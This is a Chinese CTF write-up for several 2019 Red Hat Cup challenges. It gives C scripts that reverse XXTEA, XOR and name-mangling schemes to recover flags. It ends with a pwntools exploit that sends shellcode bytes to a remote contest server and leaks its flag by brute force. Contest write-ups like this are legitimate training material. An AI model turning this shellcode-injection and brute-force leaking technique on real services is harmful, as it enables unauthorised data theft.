2019红帽杯部分wp

xx

程序首先取输入的前4个字符作为xxtea加密的密钥之后进行xxtea加密。接着进行位置置换操作，然后又进行了以3个为一组的异或

首先逆向解出xxtea加密之后的结果

#include<stdio.h>
#include<Windows.h>
int main()
{
	int count = 0;
	int b[24];
	int a[] = { 0xCE, 0xBC, 0x40, 0x6B, 0x7C, 0x3A, 0x95, 0xC0, 0xEF, 0x9B, 0x20, 0x20, 0x91, 0xF7, 0x02, 0x35, 0x23, 0x18, 0x02, 0xC8, 0xE7, 0x56, 0x56, 0xFA };

	for (int i = 23; i >=3; i--)
	{

		for (int j = 6-count; j >= 0; j--)
		{
				a[i]^=a[j];
		}
		if (i % 3 == 0)
		{
			count++;
		}

	}
	for (int i = 0; i < 24; i++)
		printf("0x%x,", a[i]);
	printf("\n");
	b[2] = a[0];
	b[0] = a[1];
	b[3] = a[2];
	b[1] = a[3];
	b[6] = a[4];
	b[4] = a[5];
	b[7] = a[6];
	b[5] = a[7];
	b[10] = a[8];
	b[8] = a[9];
	b[11] = a[10];
	b[9] = a[11];
	b[14] = a[12];
	b[12] = a[13];
	b[15] = a[14];
	b[13] = a[15];
	b[18] = a[16];
	b[16] = a[17];
	b[19] = a[18];
	b[17] = a[19];
	b[22] = a[20];
	b[20] = a[21];
	b[23] = a[22];
	b[21] = a[23];
	for (int i = 0; i < 24; i++)
		printf("0x%x,", b[i]);
	system("pause");
}

得到数据0xbc,0xa5,0xce,0x40,0xf4,0xb2,0xb2,0xe7,0xa9,0x12,0x9d,0x12,0xae,0x10,0xc8,0x5b,0x3d,0xd7,0x6,0x1d,0xdc,0x70,0xf8,0xdc

在进行xxtea解密,这里猜测密钥为flag，即可解出flag

#include <stdio.h>
#include <stdint.h>
#include<windows.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  

void btea(uint32_t *v, int n, uint32_t const key[4])
{
	uint32_t y, z, sum;
	unsigned p, rounds, e;
	if (n > 1)            /* Coding Part */
	{
		rounds = 6 + 52 / n;
		sum = 0;
		z = v[n - 1];
		do
		{
			sum += DELTA;
			e = (sum >> 2) & 3;
			for (p = 0; p<n - 1; p++)
			{
				y = v[p + 1];
				z = v[p] += MX;
			}
			y = v[0];
			z = v[n - 1] += MX;
		} while (--rounds);
	}
	else if (n < -1)      /* Decoding Part */
	{
		n = -n;
		rounds = 6 + 52 / n;
		sum = rounds*DELTA;
		y = v[0];
		do
		{
			e = (sum >> 2) & 3;
			for (p = n - 1; p>0; p--)
			{
				z = v[p - 1];
				y = v[p] -= MX;
			}
			z = v[n - 1];
			y = v[0] -= MX;
			sum -= DELTA;
		} while (--rounds);
	}
}

int main()
{
	//03e0164dd30553aa
	       // uint32_t a[2] = { (unsigned int)0xd2cfdad7, 0x9ac8d5d4 };
	uint32_t v[6] = { (unsigned int)0x40cea5bc, (unsigned int)0xe7b2b2f4,(unsigned int)0x129d12a9,(unsigned int)0x5bc810ae,(unsigned int)0x1d06d73d,(unsigned int)0xdcf870dc };
			uint32_t const k[4] = { (unsigned int)0x67616c66, (unsigned int)0x0, (unsigned int)0X0, (unsigned int)0x0 };
			int n = 6; //n的绝对值表示v的长度，取正表示加密，取负表示解密
			// v为要加密的数据是两个32位无符号整数
			// k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
			//printf("加密前原始数据：%x %x\n", v[0], v[1]);
			btea(v, -n, k);
			printf("加密后的数据：%x %x %x %x %x\n", v[0], v[1],v[2],v[3],v[4],v[5]);
			//btea(v, -n, k);
			//printf("解密后的数据：%x %x\n", v[0], v[1]);

			system("pause");		

}

解密后的数据为：67616c66 5858437b 646e615f 742b2b5f 7d6165

easy re

程序，第一段解密出Info:The first four chars are flag

第二段base64解密出一段网址https://bbs.pediy.com/thread-254172.htm

但是程序并没有完全结束在fini处还有一段函数

v5和v8相等且是随机生成的数据，他们异或数组第一个和第四个分别为f和g，又因为输入的字符前4个为flag可以推算出v5和v8的值，从而算出flag的值

最后解密代码如下

#include<stdio.h>
#include<Windows.h>
int main(){
	unsigned char byte_6CC0A0[25] = {
		0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54,
		0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45, 0x5b
	};
	char a[] = "flag";
	int key[20];
	for (int i = 0; i<strlen(a); i++)
	{
		key[i] = byte_6CC0A0[i] ^ a[i];
	}
	for (int j = 0; j<25; j++){
		byte_6CC0A0[j] ^= key[j % 4];
		printf("%c", byte_6CC0A0[j]);
	}
	printf("\n");
	system("pause");
}

childre

程序首先对输入的字符串进行了打乱操作，之后利用undecoratesymbolname对打乱字符进行反修饰。通过解密脚本跑出反修饰后的函数名称为

#include<stdio.h>
#include<Windows.h>
int main()
{
	unsigned char a1234567890Qwer[90] = {
		0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x21, 0x40, 0x23, 0x24,
		0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69,
		0x6F, 0x70, 0x5B, 0x5D, 0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D,
		0x61, 0x73, 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x41, 0x53, 0x44, 0x46, 0x47,
		0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x5A, 0x58, 0x43, 0x56, 0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F,
		0x7A, 0x78, 0x63, 0x76, 0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F
	};
	unsigned char data[64] = {
		 0x28, 0x5F, 0x40, 0x34, 0x36, 0x32, 0x30, 0x21,
		0x30, 0x38, 0x21, 0x36, 0x5F, 0x30, 0x2A, 0x30, 0x34, 0x34, 0x32, 0x21, 0x40, 0x31, 0x38, 0x36,
		0x25, 0x25, 0x30, 0x40, 0x33, 0x3D, 0x36, 0x36, 0x21, 0x21, 0x39, 0x37, 0x34, 0x2A, 0x33, 0x32,
		0x33, 0x34, 0x3D, 0x26, 0x30, 0x5E, 0x33, 0x26, 0x31, 0x40, 0x3D, 0x26, 0x30, 0x39, 0x30, 0x38,
		0x21, 0x36, 0x5F, 0x30, 0x2A, 0x26
	};//3478
	unsigned char data1[72] = {
		 0x35, 0x35, 0x35, 0x36, 0x35, 0x36, 0x35, 0x33,
		0x32, 0x35, 0x35, 0x35, 0x35, 0x32, 0x32, 0x32, 0x35, 0x35, 0x36, 0x35, 0x35, 0x36, 0x35, 0x35,
		0x35, 0x35, 0x32, 0x34, 0x33, 0x34, 0x36, 0x36, 0x33, 0x33, 0x34, 0x36, 0x35, 0x33, 0x36, 0x36,
		0x33, 0x35, 0x34, 0x34, 0x34, 0x32, 0x36, 0x35, 0x36, 0x35, 0x35, 0x35, 0x35, 0x35, 0x32, 0x35,
		0x35, 0x35, 0x35, 0x32, 0x32, 0x32
	};//38
	int count = 0;
	for (int i = 0; i < 0x3e; i++)
	{
		for (char a = 0x20; a <= 0x7E; a++)
		{
			int v11 = a;
			int v12 = v11 % 23;
			if ((a1234567890Qwer[v12] == data[i])&(a1234567890Qwer[v11 / 23] == data1[i]))
			{
				printf("%c", a);
				count++;
			}
		}
	}
	printf("\n");
	printf("%d", count);
	system("pause");

}

private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)

我们对函数进行修饰一下结果为?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z

接着利用脚本 还原一下位置

#include<stdio.h>
#include<windows.h>
int main()
{
	char input[32] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ12345";
	char disturb[32] = "PQHRSIDTUJVWKEBXYLZ1MF23N45OGCA";
	char function[32] = "?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z";
	char buf[32];
	for (int i = 0; i < 31; i++)
	{
		for (int j = 0; j < 31; j++)
		{
			if (disturb[i] == input[j])
			{
				buf[j] = function[i];
				break;
			}
		}
	}
	for (int i = 0; i < 31; i++)
	{
		printf("%c", buf[i]);
	}
	system("pause");
}

还原得到Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP 对其MD5加密即可

three

程序可以读取flag内容，并且输入index将flag内容可以一个一个读取出来，通过输入值爆破遍历比较获取flag

exp如下

#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level='debug'
keys="qwertyuiopasdfghjklzxcvbnm1234567890QWETYUIOPASDFGHJKLZXCVBNM{}-_"

flag=""

for i in range(32):
    for char in keys:
        #r=process("./pwn")
        r=remote("47.104.190.38","12001")
        r.recvuntil("Give me a index:\n")
        r.sendline(str(i))
        r.recvline()
        r.send("\x8b\x01\xc3")#mov eax,ds:[ecx] retn
        r.recvline()
        r.sendline("2")
        r.recvline()
        r.send(char)
        answer=int(r.recv())
        r.close()
        if answer==1:
            print char
            flag+=char
            break

print flag